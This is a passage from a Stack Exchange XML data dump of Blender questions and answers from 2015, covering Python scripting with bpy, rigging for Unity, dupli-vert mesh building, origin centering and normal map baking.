CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24062" PostTypeId="2" ParentId="24060" CreationDate="2015-01-31T20:36:42.263" Score="5" Body="&lt;p&gt;Yes it's possible.&#xA;Once you've determined the distortion values using the movie clip editor's lens distortion's tools you can use them on blender scenes using the compositor.&#xA;You need to add a &lt;strong&gt;Movie Distortion&lt;/strong&gt; node in &lt;strong&gt;Distort&lt;/strong&gt; mode, to your render layer. Make sure you select select the video clip as source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OEnrd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read: &lt;a href=&quot;https://blender.stackexchange.com/a/15622/1853&quot;&gt;https://blender.stackexchange.com/a/15622/1853&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2015-01-31T20:52:29.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24063" PostTypeId="1" CreationDate="2015-01-31T20:50:42.113" Score="2" ViewCount="389" Body="&lt;p&gt;The time remapper addon doesn't work well with motion blur turned on and motion blur can't be animated (nor the value neither the on/off switch). So the problem is, I have to divide the animation rendering into pieces:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;first part of frames with Speed factor=1 and motion blur turned on,&lt;/li&gt;&#xA;&lt;li&gt;second part with Speed factor&amp;lt;&gt;1 and motion blur turned off,&lt;/li&gt;&#xA;&lt;li&gt;third part with Speed factor=1 and motion blur turned on,&#xA;... and so on.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So it has to be done manualy, and theres one more problem: when you don't render from frame no. 1 and previously you've been using Speed factor &amp;lt;&gt;1, Blender will overwrite the previously rendered frames. &#xA;So is there a way to animate turning motion blur on/off?&lt;/p&gt;&#xA;" OwnerUserId="905" LastEditorUserId="3247" LastEditDate="2015-01-31T23:25:11.300" LastActivityDate="2015-05-17T20:00:02.637" Title="Time remapping addon and motion blur problem" Tags="&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;add-on&gt;&lt;blur&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24064" PostTypeId="1" AcceptedAnswerId="24066" CreationDate="2015-01-31T21:58:25.027" Score="5" ViewCount="3380" Body="&lt;p&gt;I tried to create an image node in blender with cycles renderer enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first attempt looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;mat = bpy.data.materials[&quot;Material&quot;]&#xA;&#xA;nodes = mat.node_tree.nodes&#xA;material_output = nodes.get(&quot;Material Output&quot;)&#xA;&#xA;image = bpy.types.Image(file_format='PNG')&#xA;image.file_format = 'PNG'&#xA;image.filepath = 'C:\\Users\\Standardbenutzer\\Desktop\\bla.png'&#xA;&#xA;node_texture = nodes.new(type='ShaderNodeTexImage')&#xA;node_texture.image = image&#xA;node_texture.location = 0,200&#xA;&#xA;links = mat.node_tree.links&#xA;link = links.new(node_texture.outputs[0], nodes.get(&quot;Diffuse BSDF&quot;).inputs[0])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i execute this code i get the error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Traceback (most recent call last):&#xA;    File &quot;\Text&quot;, line 7, in &#xA;  TypeError: bpy_struct.&lt;strong&gt;new&lt;/strong&gt;(type): expected a single argument&#xA;  Error: Python script fail, look in the console for now...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the blender docs i found this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_1/bpy.types.Image.html#bpy.types.Image&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/api/blender_python_api_2_72_1/bpy.types.Image.html#bpy.types.Image&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the constructor asks for a ID but even if i set something like 0 i get the same message.&lt;/p&gt;&#xA;" OwnerUserId="11070" LastEditorUserId="3710" LastEditDate="2015-02-01T15:11:19.490" LastActivityDate="2015-02-01T15:11:19.490" Title="Create an image node via code" Tags="&lt;python&gt;&lt;scripting&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24066" PostTypeId="2" ParentId="24064" CreationDate="2015-01-31T22:59:27.280" Score="6" Body="&lt;p&gt;This is how you add image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;path = &quot;path_to_the_image&quot;&#xA;&#xA;try:&#xA;    img = bpy.data.images.load(path)&#xA;except:&#xA;    raise NameError(&quot;Cannot load image %s&quot; % path)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-02-01T01:37:08.267" LastActivityDate="2015-02-01T01:37:08.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24067" PostTypeId="1" CreationDate="2015-01-31T23:37:45.230" Score="5" ViewCount="7241" Body="&lt;p&gt;What are the advantages of Rigify versus MakeHuman's MHX rig? My ultimate end goal is to import my character into Unity3D, and it seems like there is going to be a lot of &quot;cleaning&quot; I will need to do to a Rigify rig before bringing it into Unity. I was thinking of just going with MakeHuman and it's mhx rig. What are the disadvantages versus Rigify in rigging in general and also in a blender-to-unity workflow?&lt;/p&gt;&#xA;" OwnerUserId="11337" LastActivityDate="2016-03-05T19:53:20.157" Title="What are the advantages of Rigify versus MakeHuman's MHX rig?" Tags="&lt;rigging&gt;&lt;unity&gt;&lt;rigify&gt;&lt;makehuman&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24068" PostTypeId="2" ParentId="14207" CreationDate="2015-02-01T02:31:13.263" Score="0" Body="&lt;p&gt;I had this issue too and neither of your solutions helped at all. I tested the default rig to see what was different from mine and I realized that the model I was rigging had their knees bent more backwards and that I was setting the bones to fit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution was to move the kneecap so the hip and ankle are at a forward bend (or place the bone endpoints to be out of/at the knee, not in the leg). I could probably do this with the generated rig, but it adds midpoint bones and etc, and it was just easier to just regenerate from the metarig (which overwrites the previous rig, if it's un-renamed, while retaining pose and such changes).&lt;/p&gt;&#xA;" OwnerUserId="11338" LastActivityDate="2015-02-01T02:31:13.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24069" PostTypeId="2" ParentId="24067" CreationDate="2015-02-01T03:51:20.087" Score="6" Body="&lt;p&gt;I tested out 2 options...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MakeHuman Game Rig Preset:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;MakeHuman &gt; Pose/Animate tab &gt; Rig presets &gt; select game.json&#xA;Then export to Blender.&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Works like a charm in Blender. It seems to have all the posing that Rigify offers. Imported from Blender to Unity3D and worked perfectly with Mecanim. This seems to be the way to go!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MakeHuman with Rigify option checked on export:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;No Rig preset set.&#xA;On export screen, select &quot;Export for Rigify&quot;.&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Works great in Blender. Requires that you filter for WGT (widgets) and delete them before importing into Unity3D. However, some of the deformations don't act right with Mecanim in Unity3D. According to &lt;a href=&quot;http://docs.unity3d.com/Manual/BlenderAndRigify.html&quot; rel=&quot;noreferrer&quot;&gt;Unity's Docs&lt;/a&gt; you will need to make adjustments to parents/skinning/etc in Blender before it works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Conclusion:&lt;/em&gt;&lt;/strong&gt; &lt;strong&gt;MakeHuman's own rig preset wins&lt;/strong&gt;, for a smoother blender-to-unity work flow, and there are no drawbacks in rigging comparision with Rigify that I noticed.&lt;/p&gt;&#xA;" OwnerUserId="11337" LastActivityDate="2015-02-01T03:51:20.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24070" PostTypeId="1" AcceptedAnswerId="24073" CreationDate="2015-02-01T05:34:53.400" Score="3" ViewCount="83" Body="&lt;p&gt;I am trying to get a list of UV vertexes and the corresponding XYZ coordinates on the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;outfile = open('c:\\tmp\\temp.txt', 'w')&#xA;&#xA;me = bpy.context.object.data&#xA;uv_layer = me.uv_layers.active.data&#xA;&#xA;for poly in me.polygons:&#xA;    outfile.write( &quot;\n&quot;)&#xA;    for li in poly.loop_indices:&#xA;        vi = me.loops[li].vertex_index&#xA;        uv = uv_layer[li].uv&#xA;        outfile.write(&quot;(%f,%f)&quot; % ( uv.x, uv.y))&#xA;&#xA;outfile.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I need to work out is where the vertex data is stored.&lt;/p&gt;&#xA;" OwnerUserId="10908" LastActivityDate="2015-02-01T08:08:38.863" Title="UVs to XYZs python" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24071" PostTypeId="1" CreationDate="2015-02-01T05:41:12.777" Score="2" ViewCount="747" Body="&lt;p&gt;Ok so Blender was working perfectly fine for months now until today I tried to render a weapon with a chrome material, only to find out that it rendered without the material! I already tried resetting Blender to all default settings and I've quadruple checked to be sure non of the objects are hidden. Yes, the lighting is very bright too, but that doesn't show either. See pictures below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Edit): Guys, I'm not stupid. I already tried the background idea. I looked around for an hour for solutions before posting this question and found a few people having the same problem, (including the thread that this is a &quot;duplicate&quot; of) but none of the suggestions people gave them fixed my problem. Even if there is no background, the object should at least be interacting with the light somewhat. Example: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://s11.postimg.org/yg9ynpp2r/Outfit_Second_Attempt_character_mesh.png&quot; alt=&quot;Example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's a render I made the week before I started having issues, I'm not very proud of it but it proves my point. So what's below doesn't make any sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://s3.postimg.org/knlv00chv/wtf.png&quot; alt=&quot;Not rendering chrome&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even with a different color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://s10.postimg.org/l9ckegiih/wtf2.png&quot; alt=&quot;Ughh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I use a dryer, non glossy material like leather or just the default diffuse mat everything shows up fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://s12.postimg.org/dhapok96l/wtf3.png&quot; alt=&quot;Wtf&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plz help ;__;&lt;/p&gt;&#xA;" OwnerUserId="11339" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:46.147" LastActivityDate="2015-02-01T09:51:07.883" Title="Shiny Materials Not Showing Up In Render" Tags="&lt;materials&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2015-02-01T09:25:22.190" ContentLicense="CC BY-SA 3.0" />
  <row Id="24072" PostTypeId="2" ParentId="23793" CreationDate="2015-02-01T08:04:37.197" Score="2" Body="&lt;p&gt;To answer the question specifically: Yes. It is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;strong&gt;Outliner&lt;/strong&gt;, switch Display Mode to &lt;em&gt;Datablocks&lt;/em&gt;, then you'll see a list of all datablocks for the .blend file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Expand the list: &lt;strong&gt;Blendfile Data&lt;/strong&gt; &gt; &lt;strong&gt;Objects&lt;/strong&gt; &gt; &lt;strong&gt;your_obj_name&lt;/strong&gt; &gt; &lt;strong&gt;Data&lt;/strong&gt; &gt; &lt;strong&gt;mashdata_name&lt;/strong&gt; &gt; &lt;strong&gt;Vertices&lt;/strong&gt; &gt; &lt;strong&gt;Mesh Vertex&lt;/strong&gt; &gt; &lt;strong&gt;Location&lt;/strong&gt;, then you can right click on X Y Z, and choose &lt;em&gt;Add Drivers&lt;/em&gt; or &lt;em&gt;Add Single Driver&lt;/em&gt; from the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Il7br.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when there are too many vertices, it will be very hard to target the one you want. I would rather use hooks.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-02-01T09:11:06.227" LastActivityDate="2015-02-01T09:11:06.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24073" PostTypeId="2" ParentId="24070" CreationDate="2015-02-01T08:08:38.863" Score="4" Body="&lt;p&gt;You can find the vertex data in the &lt;code&gt;object.data&lt;/code&gt; that you are using.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object.data.vertices[vi].co&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or each component -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object.data.vertices[vi].co.x&#xA;bpy.context.object.data.vertices[vi].co.y&#xA;bpy.context.object.data.vertices[vi].co.z&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-02-01T08:08:38.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24074" PostTypeId="2" ParentId="24052" CreationDate="2015-02-01T08:28:57.100" Score="4" Body="&lt;p&gt;Blenders VSE aligns clips to the frame, I don't know of any plans to change this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest adjusting the audio clip in Audacity or other audio editing program where you can move the audio the desired amount from the start of the audio file.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-02-01T08:28:57.100" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24075" PostTypeId="1" AcceptedAnswerId="24077" CreationDate="2015-02-01T10:08:26.270" Score="4" ViewCount="638" Body="&lt;p&gt;I have a complex grid of points in sort of an elliptical orientation.  I would like to make a 2D quad mesh such that each point is in the center of a quad.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had been trying to accomplish this programmatically with some difficulty, then I though maybe this functionality is already implemented in Blender.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way that I can generate such a mesh given such a set of points with Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a few images to better show what I am trying to do.  The given points are in blue.  I want to surround each point with a quad and have minimal gaps between them.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OgMrD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X2frK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7939" LastEditorUserId="7939" LastEditDate="2015-02-01T11:35:03.587" LastActivityDate="2020-10-27T03:34:09.187" Title="Given a set of points, build a quad mesh such that each point is in the center of a quad" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24076" PostTypeId="2" ParentId="611" CreationDate="2015-02-01T10:32:18.703" Score="1" Body="&lt;p&gt;Based on the solution suggested by &lt;a href=&quot;https://blender.stackexchange.com/users/470/&quot;&gt;SteveW&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the assumption that the curve along which the profile will be extruded exists (henceforth called guide-curve), and also such profile, I have followed the next steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Convert the guide-curve to a mesh with a fine density of vertices (if it was previously a curve).&lt;/li&gt;&#xA;&lt;li&gt;Convert the profile to a mesh too (if it was a curve before).&lt;/li&gt;&#xA;&lt;li&gt;Set the parent of the profile mesh to be the guide-curve mesh.&lt;/li&gt;&#xA;&lt;li&gt;In the object properties of the guide-curve mesh add &lt;strong&gt;Duplication&lt;/strong&gt; of type &lt;strong&gt;Verts&lt;/strong&gt;. Check the &lt;strong&gt;Rotation&lt;/strong&gt; checkbox.&lt;/li&gt;&#xA;&lt;li&gt;Tweak the &lt;strong&gt;Relations Extras&lt;/strong&gt; to fit your needs. In my case I needed no tweaking.&lt;/li&gt;&#xA;&lt;li&gt;Now you will see a series of profiles lined up with the guide-curve, when the guide-curve is selected. Convert the series into an object with &lt;strong&gt;Make Duplicates Real&lt;/strong&gt; (press &lt;kbd&gt;Spacebar&lt;/kbd&gt; and type it up if you don't know where to find it). To this point, each of the profile elements had correct Z rotation and Y rotation, but an unwanted X rotation; I solved this in the next step.&lt;/li&gt;&#xA;&lt;li&gt;A series of new objects will be created. To fix the rotation, select all elements and with a Python command you will clear the X rotation: &lt;code&gt;for obj in bpy.context.selected_objects: obj.rotation_euler[0] = 0&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Now all my profiles had the correct rotation in all axes! Time to make the final edits to the mesh: bridge all the profile loops to make a faced cylinder. For this, join all the profile elements in the series, go into &lt;strong&gt;Edit Mode&lt;/strong&gt;, select all profiles and &lt;strong&gt;Bridge Edge Loops&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BJ4ok.png&quot; alt=&quot;Final product&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; It can be tricky to get each element's rotation right; in my case, it was easier if the profile stayed a curve and not a mesh.&lt;/p&gt;&#xA;" OwnerUserId="67" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-02-01T18:28:38.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24077" PostTypeId="2" ParentId="24075" CreationDate="2015-02-01T10:36:55.257" Score="4" Body="&lt;p&gt;Use &lt;a href=&quot;https://docs.blender.org/manual/en/latest/scene_layout/object/properties/instancing/index.html?#instancing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dupli verts&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;1st mesh with center vertices, under &lt;em&gt;Properties &amp;gt; Object &amp;gt; Duplication&lt;/em&gt; switch Verts:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zcy2u.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;2nd mesh a simple quad (add plane) and parent it under 1st mesh:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fn8cP.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if you want to convert it to editable mesh, do it with &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Edit: To rotate them like in your picture, connect your points with edges so they form concentric ellipses. Extrude them so you have some polygons - this will give those verts proper normals:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3oZrr.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Check the &lt;em&gt;rotation&lt;/em&gt; in that &lt;em&gt;Duplication&lt;/em&gt; tab and convert to geometry, delete the original plane, concentric ellipses and delete the bottom dupli-objects:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XqmYc.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The spacing is determined by the position of your input vertices so this should end up in what you want..&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="15924" LastEditDate="2020-10-27T03:34:09.187" LastActivityDate="2020-10-27T03:34:09.187" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24078" PostTypeId="1" AcceptedAnswerId="24084" CreationDate="2015-02-01T10:57:55.527" Score="10" ViewCount="29334" Body="&lt;p&gt;I would like to center the origin on the geometry. How can I do that ?&#xA;I've tried with 'Origin to Geometry' but it doesn't seems to work correctly. Indeed, on the screenshot, we can see the origin is not exactly centered along the Z axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K9NJG.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="11342" LastEditorUserId="9603" LastEditDate="2015-02-01T18:20:50.910" LastActivityDate="2015-02-02T02:54:48.403" Title="Set origin to geometry center" Tags="&lt;geometry&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24079" PostTypeId="2" ParentId="24078" CreationDate="2015-02-01T10:59:55.323" Score="3" Body="&lt;p&gt;This is because the geometry is not centered either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look closely at the grid:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QjbMO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-02-01T10:59:55.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24081" PostTypeId="2" ParentId="24046" CreationDate="2015-02-01T11:06:58.803" Score="7" Body="&lt;p&gt;This is because the rigid body simulation is only taking the initial deformation into account, behaving as if the curve modifier is applied:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AI1P8.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, enable &lt;em&gt;Deforming&lt;/em&gt; on the belt object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kSrHm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will make the simulator take into account deformations of the object that occur during the simulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ytMVu.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-02-01T11:06:58.803" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24082" PostTypeId="2" ParentId="7760" CreationDate="2015-02-01T11:41:05.113" Score="2" Body="&lt;p&gt;I've found that the cloth seems to need to &quot;drop&quot; completely before it will be affected by the wind. I tried a plane hanging from the top edge and because it was already in the &quot;dropped&quot; position it animated straight away with a wind force of 2000 to 9000 it flapped nicely, 10000 made it go nuts. I tried with a cloak next, much more complex, and after pinning it, it took 100 frames before I got some ripples with a wind force of 9000&lt;/p&gt;&#xA;" OwnerUserId="11343" LastActivityDate="2015-02-01T11:41:05.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24083" PostTypeId="2" ParentId="24048" CreationDate="2015-02-01T12:20:28.343" Score="9" Body="&lt;p&gt;I'll show the most simple way to bake a normal map and then convert it to another format so that it's more widely compatible with game engines.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am leaving out ALL theory and best-use scenario information since this topic almost always seems to cause arguments for some silly reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll just show how to bake an Object Space map and then convert it into a Tangent map since this method of creating a Tangent space map isn't widely known and tends to be very useful especially for a situation like the one I'm showing here.  Instructions for other methods are easy to find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have your simple model ready and while in Edit mode press &lt;kbd&gt;u&lt;/kbd&gt; and select-&gt; 'Smart UV Project', make sure there is a bit of space between all the UV islands as shown in the next image.  Then press 'New' and add a texture which will be baked to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W09pk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you add a bunch of Modifiers to increase the geometry and shape it a bit, such as Subdivision, Displace, (Bevel sort of works for this), you can then press 'Bake' and you will have a normal map.(there is a link to a simple modifier tutorial at the end)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can add a new material then move one tab over to the textures and add one of those as well.  The relevant settings are shown below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jHHid.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to convert this to a Tangent Space map,  First of all, deactivate all of the modifiers by unchecking the eyeball and camera icons, otherwise the next stage will fail.  We want the normals to come from the map that we already baked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fe8qZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now add another texture using the UV image editor and make sure that you are in Edit mode and have all the faces selected when you add the texture.  This way of adding a texture is primarily used for baking in Blender Internal, I mention this because many beginners think that they have added a texture to their model but that's not really what's happening here.  There is a big difference between adding a bake-to texture and adding a material texture.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, with this second texture added, go over to the bake section and change the setting to bake to a Tangent map. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B9boX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press bake and you should now have a normal map that looks mostly pale blue.  Instead of adding a second texture slot, you can just replace the Object Space map with the Tangent space map and change the Image Sampling section to Tangent map as I've circled in the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LkYjc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HdI1X.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The modifier stack is based on the following webpage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.evermotion.org&quot; rel=&quot;noreferrer&quot;&gt;http://www.evermotion.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create Stone Wall in Blender - Tip of the Week&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.evermotion.org/tutorials/show/9267/create-stone-wall-in-blender-tip-of-the-week&quot; rel=&quot;noreferrer&quot;&gt;http://www.evermotion.org/tutorials/show/9267/create-stone-wall-in-blender-tip-of-the-week&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the .blend file.  The images are not packed so even though they should be listed, you'll have to recreate them.  &lt;a href=&quot;http://www.pasteall.org/blend/34142&quot; rel=&quot;noreferrer&quot;&gt;http://www.pasteall.org/blend/34142&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-02-01T12:20:28.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24084" PostTypeId="2" ParentId="24078" CreationDate="2015-02-01T13:50:51.983" Score="8" Body="&lt;p&gt;after apply the  'Origin to Geometry' you must be change the center to &quot;bounds Center&quot;.. here a Image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6scPx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11077" LastActivityDate="2015-02-01T13:50:51.983" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
